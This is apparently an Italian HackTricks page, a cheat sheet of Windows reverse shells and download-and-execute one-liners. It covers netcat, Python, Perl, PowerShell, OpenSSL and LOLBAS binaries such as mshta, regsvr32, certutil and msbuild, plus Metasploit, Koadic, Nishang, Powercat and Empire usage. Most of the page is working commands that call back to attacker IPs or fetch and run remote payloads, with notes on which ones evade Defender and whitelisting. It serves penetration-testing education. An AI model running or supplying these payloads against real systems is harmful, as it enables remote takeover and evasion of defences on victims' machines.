# Shells - Windows {% hint style="success" %} Impara e pratica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Impara e pratica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} **Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Lolbas La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\ Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire qualche tipo di azioni inaspettate come **eseguire codice arbitrario.** ## NC ```bash nc.exe -e cmd.exe ``` ## NCAT vittima ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` attaccante ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` ## SBD **[sbd](https://www.kali.org/tools/sbd/) è un'alternativa portatile e sicura a Netcat**. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte sorgente personalizzabili e riconnessione continua, sbd offre una soluzione versatile per la comunicazione TCP/IP. Per gli utenti Windows, la versione sbd.exe della distribuzione Kali Linux può essere utilizzata come un sostituto affidabile di Netcat. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n listening on port 4444 # Atackers sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ## Python ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ## Perl ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## Lua ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## OpenSSH Attaccante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` Vittima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## Powershell ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Processo che esegue la chiamata di rete: **powershell.exe**\ Payload scritto su disco: **NO** (_almeno da nessuna parte che io possa trovare usando procmon !_ ) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Processo che esegue una chiamata di rete: **svchost.exe**\ Payload scritto su disco: **WebDAV client local cache** **One liner:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` **Ottieni ulteriori informazioni su diversi shell di Powershell alla fine di questo documento** ## Mshta * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` ```bash mshta http://webserver/payload.hta ``` ```bash mshta \\webdavserver\folder\payload.hta ``` #### **Esempio di reverse shell hta-psh (usa hta per scaricare ed eseguire il backdoor PS)** ```xml ``` **Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager hta** #### esempio hta [**Da qui**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml ``` #### **mshta - sct** [**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml ``` #### **Mshta - Metasploit** ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit ``` ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` **Rilevato dal difensore** ## **Rundll32** [**Esempio di dll hello world**](https://github.com/carterjones/hello-world-dll) * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` **Rilevato da defender** **Rundll32 - sct** [**Da qui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml ``` #### **Rundll32 - Metasploit** ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` **Rundll32 - Koadic** ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 set ENDPOINT sales run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` ## Regsvr32 * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` **Rilevato da defender** #### Regsvr32 -sct [**Da qui**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) ```markup ``` #### **Regsvr32 - Metasploit** ```bash use multi/script/web_delivery set target 3 set payload windows/meterpreter/reverse/tcp set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` **Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager regsvr** ## Certutil * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) Scarica un B64dll, decodificalo ed eseguilo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` Scarica un B64exe, decodificalo ed eseguilo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` **Rilevato da defender** ## **Cscript/Wscript** ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` **Cscript - Metasploit** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` **Rilevato dal difensore** ## PS-Bat ```bash \\webdavserver\folder\batchfile.bat ``` Processo che esegue la chiamata di rete: **svchost.exe**\ Payload scritto su disco: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` ``` ```bash \\10.8.0.3\kali\shell.bat ``` **Rilevato dal difensore** ## **MSIExec** Attaccante ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` Vittima: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` **Rilevato** ## **Wmic** * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` Esempio di file xsl [da qui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml ``` **Non rilevato** **Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager wmic** ## Msbuild * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` Puoi utilizzare questa tecnica per bypassare le restrizioni di Application Whitelisting e Powershell.exe. Sarai presentato con una shell PS.\ Basta scaricare questo ed eseguirlo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` **Non rilevato** ## **CSC** Compila il codice C# nella macchina vittima. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` Puoi scaricare una shell inversa C# di base da qui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Non rilevato** ## **Regasm/Regsvc** * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` **Non l'ho provato** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf * [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` **Non l'ho provato** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) ## Shells di Powershell ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_, fai una copia dello script e aggiungi alla fine del file: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` Inizia a servire lo script in un server web ed eseguilo dalla parte della vittima: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` Defender non lo rileva come codice malevolo (ancora, 3/04/2019). **TODO: Controlla altre shell nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) Scarica, avvia un server web, avvia il listener ed eseguilo sul lato della vittima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` Defender non lo rileva come codice malevolo (ancora, 03/04/2019). **Altre opzioni offerte da powercat:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd Send a cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: powercat -l -p 443 -i C:\inputfile -rep ``` ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) Crea un launcher di powershell, salvalo in un file e scaricalo ed eseguilo. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` **Rilevato come codice malevolo** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) Crea una versione powershell del backdoor di metasploit utilizzando unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` Avvia msfconsole con la risorsa creata: ``` msfconsole -r unicorn.rc ``` Avvia un server web che serve il file _powershell\_attack.txt_ e esegui nella vittima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` **Rilevato come codice malevolo** ## Maggiori informazioni [PS>Attack](https://github.com/jaredhaight/PSAttack) console PS con alcuni moduli PS offensivi pre-caricati (cifrati)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS con alcuni moduli PS offensivi e rilevamento proxy (IEX) ## Riferimenti * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) * [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) * [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/) * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ​ **Try Hard Security Group**
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Supporta HackTricks * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)! * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
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